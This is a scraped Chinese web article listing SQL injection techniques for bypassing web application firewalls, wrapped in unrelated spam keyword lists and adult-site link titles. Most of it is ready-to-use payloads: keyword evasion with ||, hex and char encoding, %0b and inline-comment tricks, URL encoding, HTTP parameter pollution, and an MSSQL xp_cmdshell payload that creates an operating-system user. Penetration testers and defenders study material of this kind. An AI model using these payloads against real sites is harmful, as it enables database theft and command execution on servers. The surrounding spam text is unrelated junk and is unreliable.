婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > 關于SQL注入繞過的一些知識點

關于SQL注入繞過的一些知識點

熱門標簽:簡單的智能語音電銷機器人 怎么去開發一個電銷機器人 南昌呼叫中心外呼系統哪家好 小程序智能電話機器人 河北便宜電銷機器人軟件 ai電話電話機器人 湖南保險智能外呼系統產品介紹 怎么申請400熱線電話 泗洪正規電話機器人找哪家

一、 繞過waf思路

從第一步起,一點一點去分析,然后繞過。

1、過濾 and,or

preg_match('/(and|or)/i', $id)
Filtered injection: 1 or 1 = 1 1 and 1 = 1
Bypassed injection: 1 || 1 = 1 1  1 = 1

2、過濾 and, or, union

preg_match('/(and|or|union)/i', $id)
Filtered injection: union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin'

3、過濾 and, or, union, where

preg_match('/(and|or|union|where)/i', $id)
Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection: 1 || (select user from users limit 1) = 'admin'

4、過濾 and, or, union, where, limit

preg_match('/(and|or|union|where|limit)/i', $id)
Filtered injection: 1 || (select user from users limit 1) = 'admin'
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

5、過濾 and, or, union, where, limit, group by

preg_match('/(and|or|union|where|limit|group by)/i', $id)
Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

6、過濾 and, or, union, where, limit, group by, select

preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'
Bypassed injection: 1 || substr(user,1,1) = 'a'

7、過濾 and, or, union, where, limit, group by, select, ‘

preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || user_id is not null
Bypassed injection: 1 || substr(user,1,1) = 0x61
Bypassed injection: 1 || substr(user,1,1) = unhex(61)

8、過濾 and, or, union, where, limit, group by, select, ‘, hex

preg_match('/(and|or|union|where|limit|group by|select|'|hex)/i', $id)
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))

9、過濾 and, or, union, where, limit, group by, select, ‘, hex, substr

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)

10、過濾 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格

preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr|\s)/i', $id)
Filtered injection: 1 || lpad(user,7,1)
ypassed injection: 1%0b||%0blpad(user,7,1)

二、正則繞過

根據正則的的模糊匹配特性繞過,比如過濾了'='

filtered injection: 1 or 1 = 1

Bypassed injection: 1 or 1,1 or ‘1',1 or char(97)

eg:
filtered injection:  1 union select 1, table_name from information_schema.tables where table_name = 'users'
Bypassed injection:  1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'
Bypassed injection:  1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)
Bypassed injection:  1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
Bypassed Injection:  1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273

三、通用繞過

1.注釋符

?id=1+un//ion+se//lect+1,2,3–

2.大小寫

?id=1+UnIoN//SeLecT//1,2,3–

3.關鍵字替換

有些waf等使用preg_replace替換了SQL關鍵字

?id=1+UNunionION+SEselectLECT+1,2,3--
?id=1+uni%0bon+se%0blect+1,2,3--

有時候注釋符'/**/‘可能被過濾,也可以使用%0b繞過

Forbidden: http://localhost/id/1/**/||/**/lpad(first_name,7,1).html
Bypassed : http://localhost/id/1%0b||%0blpad(first_name,7,1).html

4.編碼

一個經典的腳本:Nukesentinel.php

// Check for UNION attack
  // Copyright 2004(c) Raven PHP Scripts
  $blocker_row = $blocker_array[1];
  if($blocker_row['activate'] > 0) {
  if (stristr($nsnst_const['query_string'],'+union+') OR \

  stristr($nsnst_const['query_string'],'%20union%20') OR \

  stristr($nsnst_const['query_string'],'*/union/*') OR \

  stristr($nsnst_const['query_string'],' union ') OR \

  stristr($nsnst_const['query_string_base64'],'+union+') OR \

  stristr($nsnst_const['query_string_base64'],'%20union%20') OR \

  stristr($nsnst_const['query_string_base64'],'*/union/*') OR \

  stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);
   die("BLOCK IP 1 " );
  }
  }
Forbidden: http://localhost/php/?/**/union/**/select
Bypassed : http://localhost/php/?/%2A%2A/union/%2A%2A/select
Bypassed : http://localhost/php/?%2f**%2funion%2f**%2fselect

5.緩沖區溢出

http://localhost/news.php?id=1+and+(select 1)=(select 0xA*1000)+union+select+1,2,version(),database(),user(),6,7,8,9,10–

6.內聯注釋(mysql)

http://localhost/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--
http://localhost/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--

四、高級繞過

1.HPP(http參數污染)

舉個例子:

index.php?par1=val1par1=val2
| web server | par1 |
| :— | :— |
| ASP.NET/IIS | val1,val2 |
| ASP/IIS | val1,val2 |
| PHP/Apache | val2 |
| JSP/Tomcat | val1 |

eg:

在ASP/ASP.NET的環境下

Forbidden: http://localhost/search.aspx?q=select name,password from users
Bypassed : http://localhost/search.aspx?q=select nameq=password from users
Bypassed : http://localhost/search.aspx?q=select/*q=*/nameq=password/*q=*/from/*q=*/users
Bypassed : http://localhost/news.aspx?id=1'; /*id=1*/ EXEC /*id=1*/ master..xp_cmdshell /*id=1*/ net user test test /*id=1*/ --

2.HPC(http參數污染)

RFC2396定義了如下一些字符:

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @  = + $ ,
Unwise : { } | \ ^ [ ] `

不同的Web服務器處理處理構造得特殊請求時有不同的邏輯:

| Query String | Apache/2.2.16,PHP/5.3.3 | IIS6/ASP |
| :— | :— | :— |
| ?test[1=2 | test_1=2 | test[1=2 |
| ?test=% | test=% | test= |
| ?test%00=1 | test= | test=1 |
| ?test=1%001 | NULL | test=1 |
| ?test+d=1+2 | test_d=1 2 | test d=1 2 |

eg:

Forbidden: http://localhost/?xp_cmdshell
Bypassed : http://localhost/?xp[cmdshell
Forbidden: http://localhost/test.asp?file=../flag.txt
Bypassed : http://localhost/test.asp?file=.%./flag.txt
Forbidden: http://localhost/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)
Bypassed : http://localhost/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)

總結

以上就是關于sql注入繞過的技巧總結,希望本文的內容對大家的學習或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對腳本之家的支持。

您可能感興趣的文章:
  • 防止xss和sql注入:JS特殊字符過濾正則
  • 一個過濾重復數據的 SQL 語句
  • MySQL注入繞開過濾的技巧總結
  • SQL注入中繞過 單引號 限制繼續注入
  • SQL注入繞過的技巧總結
  • 多列復合索引的使用 繞過微軟sql server的一個缺陷
  • SQL Server簡單模式下誤刪除堆表記錄恢復方法(繞過頁眉校驗)
  • Mysql如何巧妙的繞過未知字段名詳解
  • SQL注入技巧之顯注與盲注中過濾逗號繞過詳析

標簽:威海 柳州 淮安 江蘇 那曲 景德鎮 瀘州 荊門

巨人網絡通訊聲明:本文標題《關于SQL注入繞過的一些知識點》,本文關鍵詞  關于,SQL,注入,繞過,的,一些,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《關于SQL注入繞過的一些知識點》相關的同類信息!
  • 本頁收集關于關于SQL注入繞過的一些知識點的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    最新不卡av在线| 国产欧美视频一区二区三区| 91麻豆精品国产自产在线| 国产精品第13页| 国产精品性做久久久久久| 精品久久人人做人人爰| 久久机这里只有精品| 欧美一级片免费看| 韩日欧美一区二区三区| 中文字幕乱码日本亚洲一区二区| 国产99久久久国产精品潘金网站| 在线视频综合导航| 日本欧美大码aⅴ在线播放| 视频一区二区三区入口| 国产精品久久久久影院老司 | 欧美三级午夜理伦三级中视频| 亚洲动漫第一页| 91精品国产色综合久久不卡蜜臀| 麻豆91精品视频| 欧美日韩小视频| 国产成人夜色高潮福利影视| 精品久久久久久无| 另类综合日韩欧美亚洲| 精品久久久久久最新网址| 免费的成人av| 精品国产sm最大网站| 亚洲成在线观看| 91美女片黄在线观看91美女| 久久精品网站免费观看| 国产伦精品一区二区三区免费迷 | 视频一区免费在线观看| av在线综合网| 国产喂奶挤奶一区二区三区| 免费美女久久99| 欧美精品黑人性xxxx| 人禽交欧美网站| 精品国内片67194| 成人亚洲一区二区一| 亚洲伦理在线免费看| 欧美精品久久一区| 国产精品996| 亚洲精品伦理在线| 欧美一区二区三区公司| 国产综合色精品一区二区三区| 国产曰批免费观看久久久| 亚洲欧美另类图片小说| 日韩欧美成人午夜| 国产无人区一区二区三区| 成人午夜视频在线观看| 中文字幕制服丝袜成人av| 91麻豆国产精品久久| 亚洲一二三专区| 日韩欧美一级在线播放| 成人福利视频网站| 天天色天天操综合| 日韩一区二区三区电影| 成人综合婷婷国产精品久久 | 6080yy午夜一二三区久久| 成人av小说网| 欧美自拍偷拍午夜视频| 奇米色一区二区| 亚洲欧美一区二区三区极速播放| 欧美高清视频在线高清观看mv色露露十八 | 亚洲大尺度视频在线观看| 99国产精品视频免费观看| 亚洲亚洲精品在线观看| 一区二区三区精品在线观看| 在线一区二区三区四区五区| 国产一区二区不卡在线| 日欧美一区二区| 国产高清在线观看免费不卡| 日韩毛片精品高清免费| 久久国产婷婷国产香蕉| 亚洲日本va在线观看| 日韩一区二区不卡| 色欧美乱欧美15图片| 精品写真视频在线观看| 亚洲图片欧美综合| 亚洲欧美日韩成人高清在线一区| 久久日一线二线三线suv| 91麻豆精品国产91久久久久久 | 欧美日韩一二区| 国产成人精品一区二| 日韩国产在线观看| 视频一区二区中文字幕| 国产精品成人一区二区艾草| 欧美日韩国产系列| 亚洲va欧美va人人爽午夜| 精品国产91九色蝌蚪| 色综合咪咪久久| 成人天堂资源www在线| 午夜精品久久久久久久| 亚洲女子a中天字幕| 欧美性大战久久久久久久| av不卡一区二区三区| 不卡一区二区中文字幕| 99久久精品一区二区| 成人sese在线| 国产精品1024| 成年人网站91| 成人福利视频在线看| 成人免费av网站| 91在线porny国产在线看| 大陆成人av片| 91黄色在线观看| 欧美日韩黄视频| 欧美一级搡bbbb搡bbbb| 日韩一区二区精品在线观看| 日韩欧美国产成人一区二区| 久久久蜜桃精品| 国产精品丝袜久久久久久app| 国产精品成人一区二区艾草| 亚洲女同ⅹxx女同tv| 亚洲成av人片www| 国产精品综合视频| 成人综合激情网| 欧美日韩欧美一区二区| 欧美va亚洲va在线观看蝴蝶网| 国产夜色精品一区二区av| 亚洲男人都懂的| 日韩精品乱码免费| 成人精品电影在线观看| 在线播放一区二区三区| 中文欧美字幕免费| 亚洲国产综合在线| 久久99精品久久久久久国产越南| 成人午夜视频在线| 欧美日韩国产综合视频在线观看| 精品成人免费观看| 一区二区国产视频| 国产成人亚洲综合a∨猫咪| 在线精品视频免费播放| 欧美mv日韩mv亚洲| 亚洲综合男人的天堂| 成人一级片在线观看| 666欧美在线视频| 中文字幕一区二| 国产精品99精品久久免费| 欧美久久久久中文字幕| 亚洲婷婷国产精品电影人久久| 久久精品噜噜噜成人av农村| 91久久久免费一区二区| 欧美国产乱子伦 | 成人午夜在线免费| 欧美一卡在线观看| 亚洲一区在线观看网站| 成人av电影在线| 欧美tickle裸体挠脚心vk| 亚洲福利国产精品| 亚洲精选视频在线| 亚洲欧美日韩中文播放 | 国产精品系列在线| 日韩经典一区二区| 一本色道久久加勒比精品 | 欧美极品美女视频| 奇米色一区二区| 欧美色视频一区| 国产三级精品三级| 青青国产91久久久久久| 欧美综合欧美视频| 亚洲欧美激情在线| 99久久精品一区二区| 日韩一区二区视频在线观看| 国产精品免费视频观看| 国产福利一区二区| 日韩精品一区二区三区视频播放| 亚洲男人天堂av| 99麻豆久久久国产精品免费| 337p日本欧洲亚洲大胆色噜噜| 蜜桃视频在线观看一区二区| 久久日一线二线三线suv| 日韩经典一区二区| 欧美精品三级日韩久久| 夜夜精品视频一区二区| 欧美午夜视频网站| 亚洲影视在线观看| 欧美性色黄大片| 婷婷开心久久网| 欧美不卡一区二区三区四区| 看电视剧不卡顿的网站| 久久女同互慰一区二区三区| 国产精品麻豆99久久久久久| 成人污污视频在线观看| 国产精品情趣视频| 色菇凉天天综合网| 洋洋av久久久久久久一区| 欧美日韩精品欧美日韩精品| 欧美aⅴ一区二区三区视频| 久久蜜桃av一区二区天堂| 国产成人啪免费观看软件| 国产精品乱码久久久久久| 成人app下载| 天天影视色香欲综合网老头| 在线观看亚洲专区| 日韩**一区毛片| 国产区在线观看成人精品| 九九九久久久精品| 欧美电视剧免费观看| 成人午夜免费av| 亚洲综合色区另类av|